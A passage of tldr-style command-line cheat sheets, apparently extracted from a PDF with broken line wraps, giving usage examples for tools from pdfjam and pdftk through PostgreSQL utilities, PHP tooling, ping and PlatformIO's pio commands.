pdfjam {{path/to/file.pdf}} {{path/to/signature}} --fitpaper


true --outfile {{path/to/signed.pdf}} --nup "{{1x2}}" --delta
"{{0 -842pt}}"

• Arrange the pages from the input file into a fancy 2x2 grid:

pdfjam {{path/to/file.pdf}} --nup {{2x2}} --suffix {{4up}} --


preamble '{{\usepackage{fancyhdr} \pagestyle{fancy}}}'

• Reverse the order of pages within each given file and concatenate them:

pdfjam {{files...}} {{last-1}} --suffix {{reversed}}


pdfjoin
PDF merging utility based on pdfjam.

More information: https://github.com/rrthomas/pdfjam-extras.

• Merge two PDFs into one with the default suffix "joined":

pdfjoin {{path/to/file1.pdf}} {{path/to/file2.pdf}}

• Merge the first page of each given file together:

pdfjoin {{path/to/file1.pdf path/to/file2.pdf ...}} {{1}} --


outfile {{output_file}}

• Save pages 3 to 5 followed by page 1 to a new PDF with custom suffix:

pdfjoin {{path/to/file.pdf}} {{3-5,1}} --suffix


{{rearranged}}

• Merge page subranges from two PDFs:

pdfjoin {/path/to/file1.pdf}} {{2-}} {{file2}} {{last-3}} --


outfile {{output_file}}
pdflatex
Compile a PDF document from LaTeX source files.

More information: https://manned.org/pdflatex.

• Compile a PDF document:

pdflatex {{source.tex}}

• Compile a PDF document specifying an output directory:

pdflatex -output-directory={{path/to/directory}}
{{source.tex}}

• Compile a PDF document, exiting on each error:

pdflatex -halt-on-error {{source.tex}}


pdfposter
Convert a large-sheeted PDF into multiple A4 pages for printing.

More information: https://pdfposter.readthedocs.io.

• Convert an A2 poster into 4 A4 pages:

pdfposter --poster-size a2 {{input_file.pdf}}


{{output_file.pdf}}

• Scale an A4 poster to A3 and then generate 2 A4 pages:

pdfposter --scale 2 {{input_file.pdf}} {{output_file.pdf}}


pdfseparate
Portable Document Format (PDF) file page extractor.

More information: https://manpages.debian.org/unstable/poppler-utils/pdfseparate.


1.en.html.

• Extract pages from PDF file and make a separate PDF file for each page:

pdfseparate {{path/to/source_filename.pdf}} {{path/to/


destination_filename-%d.pdf}}

• Specify the first/start page for extraction:

pdfseparate -f {{3}} {{path/to/source_filename.pdf}} {{path/


to/destination_filename-%d.pdf}}

• Specify the last page for extraction:

pdfseparate -l {{10}} {{path/to/source_filename.pdf}} {{path/


to/destination_filename-%d.pdf}}
pdftex
Compile a PDF document from TeX source files.

More information: https://www.tug.org/applications/pdftex/.

• Compile a PDF document:

pdftex {{source.tex}}

• Compile a PDF document, specifying an output directory:

pdftex -output-directory={{path/to/directory}} {{source.tex}}

• Compile a PDF document, exiting on each error:

pdftex -halt-on-error {{source.tex}}


pdftk
PDF toolkit.

More information: https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit.

• Extract pages 1-3, 5 and 6-10 from a PDF file and save them as another one:

pdftk {{input.pdf}} cat {{1-3 5 6-10}} output {{output.pdf}}

• Merge (concatenate) a list of PDF files and save the result as another one:

pdftk {{file1.pdf file2.pdf ...}} cat output {{output.pdf}}

• Split each page of a PDF file into a separate file, with a given filename output
pattern:

pdftk {{input.pdf}} burst output {{out_%d.pdf}}

• Rotate all pages by 180 degrees clockwise:

pdftk {{input.pdf}} cat {{1-endsouth}} output {{output.pdf}}

• Rotate third page by 90 degrees clockwise and leave others unchanged:

pdftk {{input.pdf}} cat {{1-2 3east 4-end}} output


{{output.pdf}}
pdftocairo
Converts PDF files to PNG/JPEG/TIFF/PDF/PS/EPS/SVG using cairo.

More information: https://poppler.freedesktop.org.

• Convert a PDF file to JPEG:

pdftocairo {{path/to/file.pdf}} -jpeg

• Convert to PDF expanding the output to fill the paper:

pdftocairo {{path/to/file.pdf}} {{output.pdf}} -pdf -expand

• Convert to SVG specifying the first/last page to convert:

pdftocairo {{path/to/file.pdf}} {{output.svg}} -svg -f


{{first_page}} -l {{last_page}}

• Convert to PNG with 200ppi resolution:

pdftocairo {{path/to/file.pdf}} {{output.png}} -png -r 200

• Convert to grayscale TIFF setting paper size to A3:

pdftocairo {{path/to/file.pdf}} -tiff -gray -paper A3

• Convert to PNG cropping x and y pixels from the top-left corner:

pdftocairo {{path/to/file.pdf}} -png -x {{x_pixels}} -y


{{y_pixels}}
pdftotext
Convert PDF files to plain text format.

More information: https://www.xpdfreader.com/pdftotext-man.html.

• Convert filename.pdf to plain text and print it to standard output:

pdftotext {{filename.pdf}} -

• Convert filename.pdf to plain text and save it as filename.txt:

pdftotext {{filename.pdf}}

• Convert filename.pdf to plain text and preserve the layout:

pdftotext -layout {{filename.pdf}}

• Convert input.pdf to plain text and save it as output.txt:

pdftotext {{input.pdf}} {{output.txt}}

• Convert pages 2, 3 and 4 of input.pdf to plain text and save them as


output.txt:

pdftotext -f {{2}} -l {{4}} {{input.pdf}} {{output.txt}}


pdfunite
PDF merging utility.

More information: https://github.com/mtgrosser/pdfunite.

• Merge 2 PDFs into a single PDF:

pdfunite {{path/to/fileA.pdf}} {{path/to/fileB.pdf}} {{path/


to/merged_output.pdf}}

• Merge a directory of PDFs into a single PDF:

pdfunite {{path/to/directory/*.pdf}} {{path/to/


merged_output.pdf}}
peco
Interactive filtering tool.

More information: https://github.com/peco/peco.

• Start peco on all files in the specified directory:

find {{path/to/directory}} -type f | peco

• Start peco for running processes:

ps aux | peco

• Start peco with a specified query:

peco --query "{{query}}"


peerflix
Stream video- or audio-based torrents to a media player.

More information: https://github.com/mafintosh/peerflix.

• Stream the largest media file in a torrent:

peerflix "{{torrent_url|magnet_link}}"

• List all streamable files contained in a torrent (given as a magnet link):

peerflix "{{magnet:?xt=urn:btih:
0123456789abcdef0123456789abcdef01234567}}" --list

• Stream the largest file in a torrent, given as a torrent URL, to VLC:

peerflix "{{http://example.net/music.torrent}}" --vlc

• Stream the largest file in a torrent to MPlayer, with subtitles:

peerflix "{{torrent_url|magnet_link}}" --mplayer --subtitles


{{subtitle-file.srt}}

• Stream all files from a torrent to Airplay:

peerflix "{{torrent_url|magnet_link}}" --all --airplay


peludna-prognoza
Fetch pollen measurement data for Croatian cities from your terminal using Pliva's
allergies data API.

More information: https://github.com/vladimyr/peludna-prognoza.

• Start an interactive search for a city and fetch data for it:

peludna-prognoza

• Fetch data for a city:

peludna-prognoza "{{city}}"

• Display data in a machine-readable format:

peludna-prognoza "{{city}}" --{{json|xml}}

• Display the pollen measurement page for a city at https://plivazdravlje.hr in the


default web browser:

peludna-prognoza "{{city}}" --web


perl
The Perl 5 language interpreter.

More information: https://www.perl.org.

• Parse and execute a Perl script:

perl {{script.pl}}

• Check syntax errors on a Perl script:

perl -c {{script.pl}}

• Parse and execute a Perl statement:

perl -e {{perl_statement}}

• Run a Perl script in debug mode, using perldebug:

perl -d {{script.pl}}

• Loo[p] over all lines of a file, editing them [i]n-place using a find/replace
[e]xpression:

perl -p -i -e 's/{{find}}/{{replace}}/g' {{filename}}

• Run a find/replace expression on a file, saving the original file with a given
extension:

perl -p -i'.old' -e 's/{{find}}/{{replace}}/g' {{filename}}

• Run a multiline find/replace expression on a file, and save the result in another
file:

perl -p0e 's/{{foo\nbar}}/{{foobar}}/g' {{input_file}} >


{{output_file}}

• Run a regular expression on stdin, printing out the first capture group for each
line:

cat {{path/to/input_file}} | perl -nle 'if (/.*({{foo}}).*/)


{print "$1"; last;}'
pest
A PHP testing framework with a focus on simplicity.

More information: https://pestphp.com.

• Initialise a standard Pest configuration in the current directory:

pest --init

• Run tests in the current directory:

pest

• Run tests annotated with the given group:

pest --group {{name}}

• Run tests and print the coverage report to stdout:

pest --coverage

• Run tests with coverage and fail if the coverage is less than the minimum
percentage:

pest --coverage --min={{80}}


pfetch
Display system information.

More information: https://github.com/dylanaraps/pfetch.

• Display the ASCII art and default fields:

pfetch

• Display only the ASCII art and color palette fields:

PF_INFO="{{ascii palette}}" pfetch

• Display all possible fields:

PF_INFO="{{ascii title os host kernel uptime pkgs memory


shell editor wm de palette}}" pfetch

• Display a different username and hostname:

USER="{{user}}" HOSTNAME="{{hostname}}" pfetch

• Display without colors:

PF_COLOR={{0}} pfetch
pg_ctl
Utility for controlling a PostgreSQL server and database cluster.

More information: https://www.postgresql.org/docs/current/app-pg-ctl.html.

• Initialize a new PostgreSQL database cluster:

pg_ctl -D {{data_directory}} init

• Start a PostgreSQL server:

pg_ctl -D {{data_directory}} start

• Stop a PostgreSQL server:

pg_ctl -D {{data_directory}} stop

• Restart a PostgreSQL server:

pg_ctl -D {{data_directory}} restart

• Reload the PostgreSQL server configuration:

pg_ctl -D {{data_directory}} reload


pg_dump
Extract a PostgreSQL database into a script file or other archive file.

More information: https://www.postgresql.org/docs/current/app-pgdump.html.

• Dump database into an SQL-script file:

pg_dump {{db_name}} > {{output_file.sql}}

• Same as above, customize username:

pg_dump -U {{username}} {{db_name}} > {{output_file.sql}}

• Same as above, customize host and port:

pg_dump -h {{host}} -p {{port}} {{db_name}} >


{{output_file.sql}}

• Dump a database into a custom-format archive file:

pg_dump -Fc {{db_name}} > {{output_file.dump}}

• Dump only database data into an SQL-script file:

pg_dump -a {{db_name}} > {{path/to/output_file.sql}}

• Dump only schema (data definitions) into an SQL-script file:

pg_dump -s {{db_name}} > {{path/to/output_file.sql}}


pg_dumpall
Extract a PostgreSQL database cluster into a script file or other archive file.

More information: https://www.postgresql.org/docs/current/app-pg-dumpall.html.

• Dump all databases:

pg_dumpall > {{path/to/file.sql}}

• Dump all databases using a specific username:

pg_dumpall --username={{username}} > {{path/to/file.sql}}

• Same as above, customize host and port:

pg_dumpall -h {{host}} -p {{port}} > {{output_file.sql}}

• Dump all databases into a custom-format archive file with moderate compression:

pg_dumpall -Fc > {{output_file.dump}}

• Dump only database data into an SQL-script file:

pg_dumpall --data-only > {{path/to/file.sql}}

• Dump only schema (data definitions) into an SQL-script file:

pg_dumpall -s > {{output_file.sql}}


pg_restore
Restore a PostgreSQL database from an archive file created by pg_dump.

More information: https://www.postgresql.org/docs/current/app-pgrestore.html.

• Restore an archive into an existing database:

pg_restore -d {{db_name}} {{archive_file.dump}}

• Same as above, customize username:

pg_restore -U {{username}} -d {{db_name}}


{{archive_file.dump}}

• Same as above, customize host and port:

pg_restore -h {{host}} -p {{port}} -d {{db_name}}


{{archive_file.dump}}

• List database objects included in the archive:

pg_restore --list {{archive_file.dump}}

• Clean database objects before creating them:

pg_restore --clean -d {{db_name}} {{archive_file.dump}}

• Use multiple jobs to do the restoring:

pg_restore -j {{2}} -d {{db_name}} {{archive_file.dump}}


pgbench
Run a benchmark test on PostgreSQL.

More information: https://www.postgresql.org/docs/10/pgbench.html.

• Initialize a database with a scale factor of 50 times the default size:

pgbench --initialize --scale={{50}} {{database_name}}

• Benchmark a database with 10 clients, 2 worker threads, and 10,000 transactions


per client:

pgbench --client={{10}} --jobs={{2}} --transactions={{10000}}


{{database_name}}
pgrep
Find or signal processes by name.

More information: https://www.man7.org/linux/man-pages/man1/pkill.1.html.

• Return PIDs of any running processes with a matching command string:

pgrep {{process_name}}

• Search for processes including their command-line options:

pgrep --full "{{process_name}} {{parameter}}"

• Search for processes run by a specific user:

pgrep --euid root {{process_name}}


phan
A static analysis tool for PHP.

More information: https://github.com/phan/phan.

• Generate a .phan/config.php in the current directory:

phan --init

• Generate a Phan configuration file using a specific level (1 being strictest to 5


being the least strict):

phan --init --init-level {{level}}

• Analyse the current directory:

phan

• Analyse one or more directories:

phan --directory {{path/to/directory}} --directory {{path/to/


another_directory}}

• Specify a config file (defaults to .phan/config.php):

phan --config-file {{path/to/config.php}}

• Specify the output mode:

phan --output-mode {{text|verbose|json|csv|codeclimate|


checkstyle|pylint|html}}

• Specify the number of parallel processes:

phan --processes {{number_of_processes}}


phing
A PHP build tool based on Apache Ant.

More information: https://www.phing.info.

• Perform the default task in the build.xml file:

phing

• Initialise a new build file:

phing -i {{path/to/build.xml}}

• Perform a specific task:

phing {{task_name}}

• Specify a custom build file path:

phing -f {{path/to/build.xml}} {{task_name}}

• Specify a log file to output to:

phing -b {{path/to/log_file}} {{task_name}}

• Specify custom properties to use in the build:

phing -D{{property}}={{value}} {{task_name}}

• Specify a custom listener class:

phing -listener {{class_name}} {{task_name}}

• Build using verbose output:

phing -verbose {{task_name}}


phive
The Phar Installation and Verification Environment for secure PHP application
deployment.

More information: https://phar.io.

• Display a list of available aliased Phars:

phive list

• Install a specified Phar to the local directory:

phive install {{alias|url}}

• Install a specified Phar globally:

phive install {{alias|url}} --global

• Install a specified Phar to a target directory:

phive install {{alias|url}} --target {{path/to/directory}}

• Update all Phar files to the latest version:

phive update

• Remove a specified Phar file:

phive remove {{alias|url}}

• Remove unused Phar files:

phive purge

• List all available commands:

phive help
php artisan
Laravel's Artisan command-line interface.

More information: https://laravel.com/docs/artisan.

• Start PHP's built-in web server for the current Laravel application:

php artisan serve

• Start an interactive PHP command-line interface:

php artisan tinker

• Generate a new Eloquent model class with a migration, factory and resource
controller:

php artisan make:model {{ModelName}} --all

• Display a list of all available commands:

php artisan help


php-coveralls
A PHP client for Coveralls.

More information: https://php-coveralls.github.io/php-coveralls.

• Send coverage information to Coveralls:

php-coveralls

• Send coverage information to Coveralls for a specific directory:

php-coveralls --root_dir {{path/to/directory}}

• Send coverage information to Coveralls with a specific config:

php-coveralls --config {{path/to/.coveralls.yml}}

• Send coverage information to Coveralls with verbose output:

php-coveralls --verbose

• Send coverage information to Coveralls excluding source files with no executable


statements:

php-coveralls --exclude-no-stmt

• Send coverage information to Coveralls with a specific environment name:

php-coveralls --env {{test|dev|prod}}

• Specify multiple Coverage Clover XML files to upload:

php-coveralls --coverage_clover {{path/to/first_clover.xml}}


--coverage_clover {{path/to/second_clover.xml}}

• Output the JSON that will be sent to Coveralls to a specific file:

php-coveralls --json_path {{path/to/coveralls-upload.json}}


php yii
Yii Framework's command-line interface.

More information: https://yiiframework.com.

• Display a list of all available commands:

php yii {{help}}

• Start PHP's built-in web server for the current Yii application:

php yii {{serve}}

• Generate a controller, views and related files for the CRUD actions on the specified
model class:

php yii {{gii/crud}} --modelClass={{ModelName}} --


controllerClass={{ControllerName}}
php
PHP command-line interface.

More information: https://php.net.

• Parse and execute a PHP script:

php {{file}}

• Check syntax on (i.e. lint) a PHP script:

php -l {{file}}

• Run PHP interactively:

php -a

• Run PHP code (Notes: Don't use <? ?> tags; escape double quotes with backslash):

php -r "{{code}}"

• Start a PHP built-in web server in the current directory:

php -S {{host:port}}

• Get a list of installed PHP extensions:

php -m

• Display information about the current PHP configuration:

php -i

• Display information about a specific function:

php --rf {{function_name}}


phpbu
A backup utility framework for PHP.

More information: https://phpbu.de.

• Run backups using the default phpbu.xml configuration file:

phpbu

• Run backups using a specific configuration file:

phpbu --configuration={{path/to/configuration_file.xml}}

• Only run the specified backups:

phpbu --limit={{backup_task_name}}

• Simulate the actions that would have been performed:

phpbu --simulate
phpcbf
Fix violations detected by phpcs.

More information: https://github.com/squizlabs/PHP_CodeSniffer.

• Fix issues in the specified directory (defaults to the PEAR standard):

phpcbf {{path/to/directory}}

• Display a list of installed coding standards:

phpcbf -i

• Specify a coding standard to validate against:

phpcbf {{path/to/directory}} --standard {{standard}}

• Specify comma-separated file extensions to include when sniffing:

phpcbf {{path/to/directory}} --extensions


{{file_extension(s)}}

• A comma-separated list of files to load before processing:

phpcbf {{path/to/directory}} --bootstrap {{file(s)}}

• Don't recurse into subdirectories:

phpcbf {{path/to/directory}} -l
phpcpd
A copy and paste detector for PHP code.

More information: https://github.com/sebastianbergmann/phpcpd.

• Analyse duplicated code for a specific file or directory:

phpcpd {{path/to/file_or_directory}}

• Analyse using fuzzy matching for variable names:

phpcpd --fuzzy {{path/to/file_or_directory}}

• Specify a minimum number of identical lines (defaults to 5):

phpcpd --min-lines {{number_of_lines}} {{path/to/


file_or_directory}}

• Specify a minimum number of identical tokens (defaults to 70):

phpcpd --min-tokens {{number_of_tokens}} {{path/to/


file_or_directory}}

• Exclude a directory from analysis (must be relative to the source):

phpcpd --exclude {{path/to/excluded_directory}} {{path/to/


file_or_directory}}

• Output the results to a PHP-CPD XML file:

phpcpd --log-pmd {{path/to/log_file}} {{path/to/


file_or_directory}}
phpcs
Tokenize PHP, JavaScript and CSS files to detect violations of a defined set of coding
standards.

More information: https://github.com/squizlabs/PHP_CodeSniffer.

• Sniff the specified directory for issues (defaults to the PEAR standard):

phpcs {{path/to/directory}}

• Display a list of installed coding standards:

phpcs -i

• Specify a coding standard to validate against:

phpcs {{path/to/directory}} --standard {{standard}}

• Specify comma-separated file extensions to include when sniffing:

phpcs {{path/to/directory}} --extensions


{{file_extension(s)}}

• Specify the format of the output report (e.g. full, xml, json, summary):

phpcs {{path/to/directory}} --report {{format}}

• Set config variables to be used during the process:

phpcs {{path/to/directory}} --config-set {{key}} {{value}}

• A comma-separated list of files to load before processing:

phpcs {{path/to/directory}} --bootstrap {{file(s)}}

• Don't recurse into subdirectories:

phpcs {{path/to/directory}} -l
phpdox
A PHP documentation generator.

More information: https://phpdox.net.

• Display an annotated skeleton configuration XML file:

phpdox --skel

• Generate documentation for the current working directory:

phpdox

• Generate documentation using a specific configuration file:

phpdox --file {{path/to/phpdox.xml}}

• Only run the metadata collection process:

phpdox --collector

• Only run the documentation generator process:

phpdox --generator
phpenv
A PHP version manager for development purposes.

More information: https://github.com/phpenv/phpenv.

• Install a PHP version globally:

phpenv install {{version}}

• Refresh shim files for all PHP binaries known to phpenv:

phpenv rehash

• List all installed PHP versions:

phpenv versions

• Display the currently active PHP version:

phpenv version

• Set the global PHP version:

phpenv global {{version}}

• Set the local PHP version, which overrides the global version:

phpenv local {{version}}

• Unset the local PHP version:

phpenv local --unset


phpize
Prepare a PHP extension for compiling.

More information: https://www.php.net/manual/install.pecl.phpize.

• Prepare the PHP extension in the current directory for compiling:

phpize

• Delete files previously created by phpize:

phpize --clean
phploc
A tool for quickly measuring the size and analyzing the structure of a PHP project.

More information: https://github.com/sebastianbergmann/phploc.

• Analyse a directory and print the result:

phploc {{path/to/directory}}

• Include only specific files from a comma-separated list (globs are allowed):

phploc {{path/to/directory}} --names {{files}}

• Exclude specific files from a comma-separated list (globs are allowed):

phploc {{path/to/directory}} --names-exclude {{files}}

• Exclude a specific directory from analysis:

phploc {{path/to/directory}} --exclude {{path/to/


exclude_directory}}

• Log the results to a specific CSV file:

phploc {{path/to/directory}} --log-csv {{path/to/file}}

• Log the results to a specific XML file:

phploc {{path/to/directory}} --log-xml {{path/to/file}}

• Count PHPUnit test case classes and test methods:

phploc {{path/to/directory}} --count-tests


phpmd
A PHP mess detector that checks for common potential problems.

More information: https://github.com/phpmd/phpmd.

• Display a list of available rulesets and formats:

phpmd

• Scan a file or directory for problems using comma-separated rulesets:

phpmd {{path/to/file_or_directory}} {{xml|text|html}}


{{rulesets}}

• Specify the minimum priority threshold for rules:

phpmd {{path/to/file_or_directory}} {{xml|text|html}}


{{rulesets}} --minimumpriority {{priority}}

• Include only the specified extensions in analysis:

phpmd {{path/to/file_or_directory}} {{xml|text|html}}


{{rulesets}} --suffixes {{extensions}}

• Exclude the specified comma-separated directories:

phpmd {{path/to/file_or_directory}} {{xml|text|html}}


{{rulesets}} --exclude {{directory_patterns}}

• Output the results to a file instead of stdout:

phpmd {{path/to/file_or_directory}} {{xml|text|html}}


{{rulesets}} --reportfile {{path/to/report_file}}

• Ignore the use of warning-suppressive PHPDoc comments:

phpmd {{path/to/file_or_directory}} {{xml|text|html}}


{{rulesets}} --strict
phpspec
A Behaviour Driven Development tool for PHP.

More information: https://phpspec.net.

• Create a specification for a class:

phpspec describe {{class_name}}

• Run all specifications in the "spec" directory:

phpspec run

• Run a single specification:

phpspec run {{path/to/class_specification_file}}

• Run specifications using a specific configuration file:

phpspec run -c {{path/to/configuration_file}}

• Run specifications using a specific bootstrap file:

phpspec run -b {{path/to/bootstrap_file}}

• Disable code generation prompts:

phpspec run --no-code-generation

• Enable fake return values:

phpspec run --fake


phpstan
A PHP static analysis tool to discover bugs in code.

More information: https://github.com/phpstan/phpstan.

• Display available options for analysis:

phpstan analyse --help

• Analyse the specified space-separated directories:

phpstan analyse {{path/to/directory}}

• Analyse a directory using a configuration file:

phpstan analyse {{path/to/directory}} --configuration {{path/


to/config}}

• Analyse using a specific rule level (0-7, higher is stricter):

phpstan analyse {{path/to/directory}} --level {{level}}

• Specify an autoload file to load before analysing:

phpstan analyse {{path/to/directory}} --autoload-file {{path/


to/autoload_file}}

• Specify a memory limit during analysis:

phpstan analyse {{path/to/directory}} --memory-limit


{{memory_limit}}
phpstorm
A cross-platform IDE for PHP based on the JetBrains IntelliJ platform.

More information: https://jetbrains.com/phpstorm.

• Open a specific directory:

phpstorm {{path/to/directory}}

• Open a file:

phpstorm {{path/to/file}}

• Open a file at a specific line:

phpstorm --line {{line_number}} {{path/to/file}}

• View the differences between two files:

phpstorm diff {{path/to/left_file}} {{path/to/right_file}}


phpunit
PHPUnit command-line test runner.

More information: https://phpunit.de.

• Run tests in the current directory. Note: Expects you to have a 'phpunit.xml':

phpunit

• Run tests in a specific file:

phpunit {{path/to/TestFile.php}}

• Run tests annotated with the given group:

phpunit --group {{name}}

• Run tests and generate a coverage report in HTML:

phpunit --coverage-html {{directory}}


piactl
The command-line tool for Private Internet Access, a commercial VPN provider.

More information: https://privateinternetaccess.com/helpdesk/kb/articles/pia-desktop-


command-line-interface.

• Log in to Private Internet Access:

piactl login {{path/to/login_file}}

• Connect to Private Internet Access:

piactl connect

• Disconnect from Private Internet Access:

piactl disconnect

• Enable or disable the Private Internet Access daemon in the background:

piactl background {{enable|disable}}

• List all available VPN regions:

piactl get regions

• Display the current VPN region:

piactl get region

• Set your VPN region:

piactl set region {{region}}

• Log out of Private Internet Access:

piactl logout
pic
Picture preprocessor for the groff (GNU Troff) document formatting system.

See also groff and troff.

More information: https://manned.org/pic.

• Process input with pictures, saving the output for future typesetting with groff to
PostScript:

pic {{path/to/input.pic}} > {{path/to/output.roff}}

• Typeset input with pictures to PDF using the [me] macro package:

pic -T {{pdf}} {{path/to/input.pic}} | groff -{{me}} -T


{{pdf}} > {{path/to/output.pdf}}
picard
Next generation MusicBrainz tagging application.

More information: https://picard.musicbrainz.org/.

• Start Picard:

picard

• Open a set of files:

picard {{path/to/file1.mp3}} {{path/to/file2.mp3}}

• Display the version of Picard installed:

picard --long-version
pickle
A PHP extension installer based on Composer.

More information: https://github.com/FriendsOfPHP/pickle.

• Install a specific PHP extension:

pickle install {{extension_name}}

• Convert an existing PECL extension configuration to a Pickle configuration file:

pickle convert {{path/to/directory}}

• Validate a PECL extension:

pickle validate {{path/to/directory}}

• Package a PECL extension for release:

pickle release {{path/to/directory}}


pigz
Multithreaded zlib compression utility.

More information: https://github.com/madler/pigz.

• Compress a file with default options:

pigz {{filename}}

• Compress a file using the best compression method:

pigz -9 {{filename}}

• Compress a file using no compression and 4 processors:

pigz -0 -p{{4}} {{filename}}

• Compress a directory using tar:

tar cf - {{path/to/directory}} | pigz > {{filename}}.tar.gz

• Decompress a file:

pigz -d {{archive.gz}}

• List the contents of an archive:

pigz -l {{archive.tar.gz}}
ping
Send ICMP ECHO_REQUEST packets to network hosts.

More information: https://manned.org/ping.

• Ping host:

ping {{host}}

• Ping a host only a specific number of times:

ping -c {{count}} {{host}}

• Ping host, specifying the interval in seconds between requests (default is 1


second):

ping -i {{seconds}} {{host}}

• Ping host without trying to lookup symbolic names for addresses:

ping -n {{host}}

• Ping host and ring the bell when a packet is received (if your terminal supports it):

ping -a {{host}}

• Also display a message if no response was received:

ping -O {{host}}
ping6
Send ICMP ECHO_REQUEST packets to network hosts via IPv6 address.

More information: https://manned.org/ping6.

• Ping a host:

ping6 {{host}}

• Ping a host only a specific number of times:

ping6 -c {{count}} {{host}}

• Ping a host, specifying the interval in seconds between requests (default is 1


second):

ping6 -i {{seconds}} {{host}}

• Ping a host without trying to lookup symbolic names for addresses:

ping6 -n {{host}}

• Ping a host and ring the bell when a packet is received (if your terminal supports
it):

ping6 -a {{host}}
pinky
Print user information using the finger protocol.

More information: https://manned.org/pinky.

• Display details about the current user:

pinky

• Display details for a specific user:

pinky {{user}}

• Display details in the long format:

pinky {{user}} -l

• Omit the user's home directory and shell in long format:

pinky {{user}} -lb

• Omit the user's project file in long format:

pinky {{user}} -lh

• Omit the column headings in short format:

pinky {{user}} -f
pio access
Set the access level on published resources (packages) in the registry.

More information: https://docs.platformio.org/en/latest/core/userguide/access/.

• Grant a user access to a resource:

pio access grant {{guest|maintainer|admin}} {{username}}


{{resource_urn}}

• Remove a user's access to a resource:

pio access revoke {{username}} {{resource_urn}}

• Show all resources that a user or team has access to and the access level:

pio access list {{username}}

• Restrict access to a resource to specific users or team members:

pio access private {{resource_urn}}

• Allow all users access to a resource:

pio access public {{resource_urn}}


pio account
Manage your PlatformIO account in the command-line.

More information: https://docs.platformio.org/en/latest/core/userguide/account/.

• Register a new PlatformIO account:

pio account register --username {{username}} --email


{{email}} --password {{password}} --firstname {{firstname}}
--lastname {{lastname}}

• Permanently delete your PlatformIO account and related data:

pio account destroy

• Log in to your PlatformIO account:

pio account login --username {{username}} --password


{{password}}

• Log out of your PlatformIO account:

pio account logout

• Update your PlatformIO profile:

pio account update --username {{username}} --email {{email}}


--firstname {{firstname}} --lastname {{lastname}} --current-
password {{password}}

• Show detailed information about your PlatformIO account:

pio account show

• Reset your password using your username or email:

pio account forgot --username {{username_or_email}}


pio boards
List pre-configured embedded boards available in PlatformIO.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_boards.html.

• List all available boards:

pio boards

• List only boards from installed platforms:

pio boards --installed


pio check
Perform a static analysis check on a PlatformIO project.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_check.html.

• Perform a basic analysis check on the current project:

pio check

• Perform a basic analysis check on a specific project:

pio check --project-dir {{project_dir}}

• Perform an analysis check for a specific environment:

pio check --environment {{environment}}

• Perform an analysis check and only report a specified defect severity type:

pio check --severity {{low|medium|high}}

• Perform an analysis check and show detailed information when processing


environments:

pio check --verbose


pio ci
Build PlatformIO projects with an arbitrary source code structure.

This will create a new temporary project which the source code will be copied into.

More information: https://docs.platformio.org/en/latest/core/userguide/cmd_ci.html.

• Build a PlatformIO project in the default system temporary directory and delete it
afterwards:

pio ci {{path/to/project}}

• Build a PlatformIO project and specify specific libraries:

pio ci --lib {{path/to/library_directory}} {{path/to/


project}}

• Build a PlatformIO project and specify a specific board (pio boards lists all of
them):

pio ci --board {{board}} {{path/to/project}}

• Build a PlatformIO project in a specific directory:

pio ci --build-dir {{path/to/build_directory}} {{path/to/


project}}

• Build a PlatformIO project and don't delete the build directory:

pio ci --keep-build-dir {{path/to/project}}

• Build a PlatformIO project using a specific configuration file:

pio ci --project-conf {{path/to/platformio.ini}}


pio debug
Debug PlatformIO projects.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_debug.html.

• Debug the PlatformIO project in the current directory:

pio debug

• Debug a specific PlatformIO project:

pio debug --project-dir {{path/to/platformio_project}}

• Debug a specific environment:

pio debug --environment {{environment}}

• Debug a PlatformIO project using a specific configuration file:

pio debug --project-conf {{path/to/platformio.ini}}

• Debug a PlatformIO project using the gdb debugger:

pio debug --interface={{gdb}} {{gdb_options}}


pio device
Manage and monitor PlatformIO devices.

More information: https://docs.platformio.org/en/latest/core/userguide/device/.

• List all available serial ports:

pio device list

• List all available logical devices:

pio device list --logical

• Start an interactive device monitor:

pio device monitor

• Start an interactive device monitor and listen to a specific port:

pio device monitor --port {{/dev/ttyUSBX}}

• Start an interactive device monitor and set a specific baud rate (defaults to 9600):

pio device monitor --baud {{57600}}

• Start an interactive device monitor and set a specific EOL character (defaults to
CRLF):

pio device monitor --eol {{CRLF|CR|LF}}

• Go to the menu of the interactive device monitor:

Ctrl + T
pio home
Launch the PlatformIO Home web server.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_home.html.

• Open PlatformIO Home in the default web browser:

pio home

• Use a specific HTTP port (defaults to 8008):

pio home --port {{port}}

• Bind to a specific IP address (defaults to 127.0.0.1):

pio home --host {{ip_address}}

• Do not automatically open PlatformIO Home in the default web browser:

pio home --no-open

• Automatically shutdown the server on timeout (in seconds) when no clients are
connected:

pio home --shutdown-timeout {{time}}

• Specify a unique session identifier to keep PlatformIO Home isolated from other
instances and protected from 3rd party access:

pio home --session-id {{id}}


pio init
This command is an alias of pio project init.

• View documentation for the original command:

tldr pio project


pio lib
Manage PlatformIO libraries.

More information: https://docs.platformio.org/en/latest/core/userguide/lib/.

• List installed libraries:

pio lib list

• List built-in libraries based on installed development platforms and their


frameworks:

pio lib builtin

• Search for existing libraries:

pio lib search {{keyword}}

• Show details about a library:

pio lib show {{library}}

• Install a library:

pio lib install {{library}}

• Update installed libraries:

pio lib update

• Uninstall a library:

pio lib uninstall {{library}}

• Show PlatformIO library registry statistics:

pio lib stats


pio org
Manage PlatformIO organizations and their owners.

More information: https://docs.platformio.org/en/latest/core/userguide/org/.

• Create a new organization:

pio org create {{organization_name}}

• Delete an organization:

pio org destroy {{organization_name}}

• Add a user to an organization:

pio org add {{organization_name}} {{username}}

• Remove a user from an organization:

pio org remove {{organization_name}} {{username}}

• List all organizations the current user is a member of and their owners:

pio org list

• Update the name, email or display name of an organization:

pio org update --orgname {{new_organization_name}} --email


{{new_email}} --displayname {{new_display_name}}
{{organization_name}}
pio package
Manage packages in the registry.

Packages can only be removed within 72 hours (3 days) from the date that they are
published.

More information: https://docs.platformio.org/en/latest/core/userguide/package/.

• Create a package tarball from the current directory:

pio package pack --output {{path/to/package.tar.gz}}

• Create and publish a package tarball from the current directory:

pio package publish

• Publish the current directory and restrict public access to it:

pio package publish --private

• Publish a package:

pio package publish {{path/to/package.tar.gz}}

• Publish a package with a custom release date (UTC):

pio package publish {{path/to/package.tar.gz}} --released-at


"{{2021-04-08 21:15:38}}"

• Remove all versions of a published package from the registry:

pio package unpublish {{package_name}}

